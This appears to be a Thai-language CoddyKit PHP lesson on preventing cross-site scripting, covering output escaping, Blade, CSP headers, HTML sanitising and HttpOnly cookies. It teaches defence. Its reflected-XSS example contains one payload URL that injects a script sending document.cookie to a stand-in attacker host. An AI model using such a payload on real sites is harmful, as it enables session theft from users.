การป้องกัน Cross-Site Scripting (XSS)
ทำเอาต์พุตให้ปลอดภัยด้วย htmlspecialchars และใช้นโยบายความปลอดภัยเนื้อหา
การป้องกัน Cross-Site Scripting (XSS) เป็นบทเรียน PHP Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 1 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน PHP Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส PHP Academy มีบทเรียนทั้งหมด 4 บทเรียน
XSS คืออะไร
Cross-Site Scripting (XSS) เกิดขึ้นเมื่อผู้โจมตีแทรก JavaScript ที่เป็นอันตรายลงในหน้าเว็บที่ผู้ใช้อื่นเปิดดู สคริปต์ดังกล่าวจะทำงานในเบราว์เซอร์ของเหยื่อและเข้าถึงเซสชัน คุกกี้ และ DOM ของเหยื่อได้
XSS แบบสะท้อนกลับ
เพย์โหลดที่เป็นอันตรายอยู่ใน URL หรือพารามิเตอร์ของแบบฟอร์ม แล้วเซิร์ฟเวอร์สะท้อนเพย์โหลดนั้นกลับมาในผลการตอบกลับ
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>XSS แบบจัดเก็บ
เพย์โหลดจะถูกบันทึกไว้ในฐานข้อมูล เช่น ความคิดเห็นหรือช่องข้อมูลประวัติ แล้วแสดงแก่ผู้เยี่ยมชมทุกคนที่เปิดหน้านั้น
XSS ที่อิง DOM
ช่องโหว่นี้อยู่ใน JavaScript ฝั่งไคลเอ็นต์ทั้งหมด ซึ่งแทรกข้อมูลที่ไม่น่าเชื่อถือลงใน DOM อย่างไม่ปลอดภัยโดยใช้ innerHTML หรือ document.write
ฟังก์ชัน htmlspecialchars()
หลีกอักขระในผลลัพธ์เพื่อแปลงอักขระพิเศษของ HTML ให้เป็นเอนทิตีที่ไม่เป็นอันตราย โปรดหลีกอักขระทุกครั้งก่อนแสดงผลข้อมูลที่ผู้ใช้ส่งมา
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesการหลีกอักขระอัตโนมัติของ Blade
ไวยากรณ์ {{ }} ของ Laravel Blade จะเรียกใช้ htmlspecialchars โดยอัตโนมัติ ใช้ {!! !!} เฉพาะกับ HTML ที่เชื่อถือได้และผ่านการทำให้สะอาดแล้วเท่านั้น
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>นโยบายความปลอดภัยของเนื้อหา (CSP)
ส่วนหัว HTTP ของ CSP จะสั่งให้เบราว์เซอร์เรียกใช้สคริปต์จากแหล่งที่เชื่อถือได้เท่านั้น และบล็อกสคริปต์แบบฝังที่ถูกแทรก แม้ว่าสคริปต์เหล่านั้นจะไปถึงหน้าเว็บแล้วก็ตาม
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);การทำความสะอาดข้อมูล HTML ขาเข้า
หากจำเป็นต้องอนุญาตให้รับข้อมูล HTML แบบจัดรูปแบบได้ เช่น จากเครื่องมือแก้ไข WYSIWYG ให้ทำความสะอาดข้อมูลด้วยไลบรารีรายการที่อนุญาต เช่น HTML Purifier หรือแพ็กเกจ Laravel mews/purifier
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);ส่วนหัว X-XSS-Protection
เพิ่มส่วนหัว X-XSS-Protection: 1; mode=block เพื่อรองรับเบราว์เซอร์รุ่นเก่า เบราว์เซอร์สมัยใหม่จะใช้ CSP แทน
คุกกี้แบบ HTTP เท่านั้น
การตั้งค่าแฟล็ก HttpOnly ให้กับคุกกี้เซสชันจะป้องกันไม่ให้ JavaScript อ่านคุกกี้ได้ ซึ่งช่วยลดความเสี่ยงจากการขโมยเซสชันด้วย XSS แม้ว่าจะมีการแทรกสคริปต์แล้วก็ตาม
การตรวจสอบ URL
อย่านำ URL ที่ผู้ใช้ส่งมาใส่ใน href หรือ src โดยไม่ตรวจสอบ URI javascript: สามารถทำให้เกิด XSS ได้
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}สรุป
หลีกอักขระในผลลัพธ์ด้วย htmlspecialchars หรือ {{ }} ของ Blade ทุกครั้ง เพิ่มนโยบายความปลอดภัยของเนื้อหา ทำความสะอาดข้อมูล HTML ขาเข้าด้วยไลบรารีรายการที่อนุญาต และใช้คุกกี้แบบ HttpOnly
ตรวจสอบความเข้าใจอย่างรวดเร็ว
ฟังก์ชัน PHP ใดแปลงอักขระพิเศษของ HTML เป็นเอนทิตี
คำถามที่พบบ่อย
บทเรียน “การป้องกัน Cross-Site Scripting (XSS)” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “การป้องกัน Cross-Site Scripting (XSS)” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส PHP Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส PHP Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “การป้องกัน Cross-Site Scripting (XSS)”
ทำเอาต์พุตให้ปลอดภัยด้วย htmlspecialchars และใช้นโยบายความปลอดภัยเนื้อหา คุณปฏิบัติ PHP Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน PHP Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน PHP Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 1 จากทั้งหมด 4 บทเรียน
บทเรียน “การป้องกัน Cross-Site Scripting (XSS)” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน PHP Academy นี้ได้ไหม
ได้ บทเรียน PHP Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- การป้องกัน Cross-Site Scripting (XSS)
- SQL Injection และคำสืบค้นแบบกำหนดพารามิเตอร์
- การป้องกัน CSRF
- การจัดเก็บรหัสผ่านอย่างปลอดภัย